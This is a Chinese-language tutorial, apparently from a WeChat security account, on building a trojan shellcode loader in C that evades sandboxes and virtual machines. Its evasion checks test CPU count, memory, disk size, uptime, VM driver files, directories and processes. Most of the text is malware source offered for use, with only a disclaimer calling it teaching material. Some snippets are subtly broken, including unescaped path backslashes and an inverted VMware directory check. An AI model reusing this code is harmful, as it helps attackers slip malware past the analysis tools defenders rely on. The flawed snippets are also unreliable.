介绍
免责声明:
本系列文章提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,如果将其信息做其他用途,由读者承担全部法律及连带责任,本实验室不承担任何法律及连带责任。
本篇文章是定制自己的木马系列的第二篇文章,我们将会使用多种技术来规避沙箱和虚拟化环境。
需要用到的东西:
-
Visual Studio
-
Kali Linux
-
Windows靶机
操作系统规避
在现实中沙箱并不能模拟真实环境,所以可以通过其操作系统的信息进行简单的规避。
1、内核数
编写代码:
SYSTEM_INFO systeminfo;
GetSystemInfo(&systeminfo);
DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;
if (numberOfProcessors < 2) return false;
这段代码很好理解,首先我们需要使用 GetSystemInfo 函数检索系统的信息,然后通过比对 dwNumberOfProcessors 值来判断内核数是不是小于2核,一般用户电脑都至少有2个内核处理器吧~
完整代码
int main()
{
const char shellcode[] = "shellcode";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
SYSTEM_INFO systeminfo;
GetSystemInfo(&systeminfo);
DWORD NumberOfProcessors = systeminfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
2、内存
编写代码:
MEMORYSTATUSEX memorystatus;
memorystatus.dwLength = sizeof(memorystatus);
GlobalMemoryStatusEx(&memorystatus);
DWORD RAMMB = memorystatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 2048) return false;
这个代码也很好理解,使用 GlobalMemoryStatusEx 函数检索系统当前使用物理和虚拟内存的信息,不过在调用该函数前,需要先设置 dwLength ,然后使用该语句将数值转换成MB,如果内存小于2048MB,也就是2G大小则返回 false。
ullTotalPhys / 1024 / 1024
完整代码
int main()
{
const char shellcode[] = "shellcode";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
MEMORYSTATUSEX memorystatus;
memorystatus.dwLength = sizeof(memorystatus);
GlobalMemoryStatusEx(&memorystatus);
DWORD RAMMB = memorystatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 2048) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
3、硬盘大小
一般用户电脑硬盘肯定超过50G,所以编写代码:
HANDLE Device = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY DiskGeometry;
DWORD bytesReturned;
DeviceIoControl(Device, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &DiskGeometry, sizeof(DiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD DiskSizeGB;
DiskSizeGB = DiskGeometry.Cylinders.QuadPart * (ULONG)DiskGeometry.TracksPerCylinder * (ULONG)DiskGeometry.SectorsPerTrack * (ULONG)DiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (DiskSizeGB < 50) return false;
这段代码看似很长,其实很好理解,我们先使用 CreateFileW 函数创建或打开文件以及I/O设备,该函数会返回一个句柄,根据文件或设备以及指定的标志和属性,该句柄可用于访问文件或设备以进行各种类型的 I/O。
CreateFileW函数代码段:
CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
语法:
HANDLE CreateFileW(
[in] LPCWSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);
参数含义:
-
[in] lpFileName:要创建或打开的文件或设备的名称
-
-
[in] dwDesiredAccess:对文件或设备的请求访问,可以概括为读、写、两者或都不为0),如果此参数为0,则应用程序可以查询某些元数据,例如文件、目录或设备属性,而无需访问该文件或设备,即使GENERIC_READ访问已被拒绝
-
-
[in] dwShareMode:文件或设备请求的共享模式,FILE_SHARE_READ,启用对文件或设备的后续打开操作以请求读取访问权限;FILE_SHARE_WRITE,启用对文件或设备的后续打开操作以请求写入访问权限
-
-
[in, optional] lpSecurityAttributes:一个指向SECURITY_ATTRIBUTES 结构的指针,该结构包含两个独立但相关的数据成员:一个可选的安全描述符和一个布尔值,用于确定返回的句柄是否可以被子进程继承。如果此参数为NULL ,则CreateFile返回的句柄 不能被应用程序可能创建的任何子进程继承,并且与返回的句柄关联的文件或设备将获得默认的安全描述符
-
-
[in] dwCreationDisposition:对存在或不存在的文件或设备执行的操作。OPEN_EXISTING仅当文件或设备存在时才打开它
-
-
[in] dwFlagsAndAttributes:文件或设备属性和标志
-
-
[in, optional] hTemplateFile:具有GENERIC_READ访问权限的模板文件的有效句柄
接下来是 DeviceIoControl 函数,该函数直接向指定的设备驱动程序发送控制代码,使相应的设备执行相应的操作。
DeviceloControl函数代码段:
DeviceIoControl(Device, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &DiskGeometry, sizeof(DiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DeviceloControl语法:
BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer,
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
参数含义:
-
[in] hDevice:要在其上执行操作的设备的句柄。设备通常是卷、目录、文件或流。要检索设备句柄,需使用 CreateFile 函数,也就是上面使用的CreateFileW函数。
-
-
[in] dwIoControlCode:操作的控制代码。此值标识要执行的特定操作以及要在其上执行操作的设备类型,IOCTL_DISK_GET_DRIVE_GEOMETRY表示检索有关物理磁盘几何结构的信息:类型、柱面数、每柱面磁道、每磁道扇区和每扇区字节数
-
-
[in, optional] lpInBuffer:指向包含执行操作所需数据的输入缓冲区的指针。此数据的格式取决于dwIoControlCode参数的值。如果dwIoControlCode指定不需要输入数据的操作,则此参数可以为NULL
-
-
[in] nInBufferSize:输入缓冲区的大小,以字节为单位
-
-
[out, optional] lpOutBuffer:指向要接收操作返回的数据的输出缓冲区的指针
-
-
[in] nOutBufferSize:输出缓冲区的大小,以字节为单位
-
-
[out, optional] lpBytesReturned:指向变量的指针,该变量接收存储在输出缓冲区中的数据大小,以字节为单位
-
-
[in, out, optional] lpOverlapped:指向 OVERLAPPED 结构的指针
然后只要计算出硬盘的实际大小并比对即可。
完整代码:
int main()
{
const char shellcode[] = "shellcode";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE Device = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY DiskGeometry;
DWORD bytesReturned;
DeviceIoControl(Device, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &DiskGeometry, sizeof(DiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD DiskSizeGB;
DiskSizeGB = DiskGeometry.Cylinders.QuadPart * (ULONG)DiskGeometry.TracksPerCylinder * (ULONG)DiskGeometry.SectorsPerTrack * (ULONG)DiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (DiskSizeGB < 50) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
4、运行时间
沙箱可能在每次检测文件时才会启动虚拟环境,我们可以通过检测系统的运行时间来规避,输入代码:
ULONGLONG starttime = GetTickCount64() / 1000;
if (starttime < 1800) return false;
这个函数应该是本篇文章最好理解的函数了,GetTickCount64 检查自系统启动以来经过的毫秒数,然后经过简单的运算,如果运行时间少于30分钟则返回false。
完整代码:
int main()
{
const char shellcode[] = "shellcode";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
ULONGLONG starttime = GetTickCount64() / 1000;
if (starttime < 1800) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
文件系统
1、文件
在虚拟环境中会存在特定的工作文件,可以帮助我们识别是否在虚拟主机中。
常见的虚拟环境特定文件:
VirtualBox
-
C:windowssystem32driversVBoxMouse.sys
-
C:windowssystem32driversVBoxGuest.sys
-
C:windowssystem32driversVBoxSF.sys
-
C:windowssystem32driversVBoxVideo.sys
-
C:windowssystem32vboxdisp.dll
-
C:windowssystem32vboxhook.dll
-
C:windowssystem32vboxmrxnp.dll
-
C:windowssystem32vboxogl.dll
-
C:windowssystem32vboxoglarrayspu.dll
-
C:windowssystem32vboxoglcrutil.dll
-
C:windowssystem32vboxoglerrorspu.dll
-
C:windowssystem32vboxoglfeedbackspu.dll
-
C:windowssystem32vboxoglpackspu.dll
-
C:windowssystem32vboxoglpassthroughspu.dll
-
C:windowssystem32vboxservice.exe
-
C:windowssystem32vboxtray.exe
-
C:windowssystem32VBoxControl.exe
VMware
-
C:windowssystem32driversvmmouse.sys
-
C:windowssystem32driversvmnet.sys
-
C:windowssystem32driversvmxnet.sys
-
C:windowssystem32driversvmhgfs.sys
-
C:windowssystem32driversvmx86.sys
-
C:windowssystem32drivershgfs.sys
VirtualPC
-
C:windowssystem32driversvmsrvc.sys
-
C:windowssystem32driversvpc-s3.sys
最简单的语句:
WIN32_FIND_DATAW VMfile;
if (FindFirstFileW(L"C:\Windows\System32\drivers\vm*.sys", &VMfile) != INVALID_HANDLE_VALUE) return false;
引用了 WIN32_FIND_DATAW 结构,使用 FindFirstFileW 函数在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。
函数语法:
HANDLE FindFirstFileW(
[in] LPCWSTR lpFileName,
[out] LPWIN32_FIND_DATAW lpFindFileData
);
参数:
-
[in] lpFileName:目录或路径,以及文件名。文件名可以包含通配符,例如星号 (*) 或问号 (?)
-
-
[out] lpFindFileData:指向WIN32_FIND_DATA结构的指针,该结构接收有关找到的文件或目录的信息
该代码将文件匹配出来并与之无效句柄匹配,如果存在该文件则返回false。
完整代码:
int main()
{
const char shellcode[] = "shellcode";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
WIN32_FIND_DATAW VMfile;
if (FindFirstFileW(L"C:\Windows\System32\drivers\vm*.sys", &VMfile) != INVALID_HANDLE_VALUE) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
2、目录
也可以直接通过检测目录来辨别是否在虚拟机中,编写代码:
wchar_t currentProcessPath[MAX_PATH];
GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH);
CharUpperW(currentProcessPath);
if (!wcsstr(currentProcessPath, L"C:\PROGRAM FILES\VMWARE\")) return false;
这段代码很好理解,通过 CharUpperW 函数将检测到的目录转换成大写并进行匹配。
完整代码:
int main()
{
const char shellcode[] = "shellcode";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
wchar_t currentProcessPath[MAX_PATH];
GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH);
CharUpperW(currentProcessPath);
if (!wcsstr(currentProcessPath, L"C:\PROGRAM FILES\VMWARE\")) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
常见虚拟机目录:
VMware
-
C:Program FilesVMware
-
C:ProgramDataVMware
VirtualBox
-
C:Program Filesoraclevirtualbox guest additions
进程
虚拟环境会启动一定的辅助进程,保证虚拟环境的运行,但一般这种辅助进程不会在真实主机中存在,常见虚拟环境进程:
JoeBox |
joeboxserver.exe joeboxcontrol.exe |
Parallels |
prl_cc.exe prl_tools.exe |
VirtualBox |
vboxservice.exe vboxtray.exe |
VirtualPC |
vmsrvc.exe vmusrvc.exe |
VMware |
vmtoolsd.exe vmacthlp.exe vmwaretray.exe vmwareuser.exe vmware.exe vmount2.exe |
Xen |
xenservice.exe xsvc_depriv.exe |
WPE Pro | WPE Pro.exe |
编写代码:
PROCESSENTRY32W ProcessEntry = { 0 };
ProcessEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
WCHAR ProcessName[MAX_PATH];
if (Process32FirstW(hSnapshot, &ProcessEntry))
{
do
{
StringCchCopyW(ProcessName, MAX_PATH, ProcessEntry.szExeFile);
CharUpperW(ProcessName);
if (wcsstr(ProcessName, L"VMTOOLSD.EXE")) exit(0);
} while (Process32NextW(hSnapshot, &ProcessEntry));
}
这里需要引用 PROCESSENTRY32W 结构来描述拍摄快照时驻留在系统地址空间中的进程列表中的条目,需要包含tlhelp32.h头文件。
使用 CreateToolhelp32Snapshot 函数拍摄指定进程的快照,以及这些进程使用的堆、模块和线程。
然后使用 StringCchCopyW 函数复制来判断是否固定进程,如果有则直接退出,该段语句会一直循环匹配(需要包含strsafe.h头文件)。
完整代码:
int main()
{
const char shellcode[] = "shellcode";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
PROCESSENTRY32W ProcessEntry = { 0 };
ProcessEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
WCHAR ProcessName[MAX_PATH];
if (Process32FirstW(hSnapshot, &ProcessEntry))
{
do
{
StringCchCopyW(ProcessName, MAX_PATH, ProcessEntry.szExeFile);
CharUpperW(ProcessName);
if (wcsstr(ProcessName, L"VMTOOLSD.EXE")) exit(0);
} while (Process32NextW(hSnapshot, &ProcessEntry));
}
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
小结
对于规避沙箱、虚拟化环境无非利用目录文件、注册表、操作系统信息、进程、网络请求、CPU、硬件、挂钩等来进行判断。
本系列文章并不会编写对木马的免杀,因为木马免杀是非常简单的,即使只是利用函数也能达到全免杀的效果。
部分内容参考链接(建议收藏):
https://evasions.checkpoint.com/
本系列文章由Ghost Wolf Lab 编写,严禁未经过授权的转载、复制粘贴等行为供商业牟利。
原文始发于微信公众号(Ghost Wolf):Customize your own Trojan file-2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论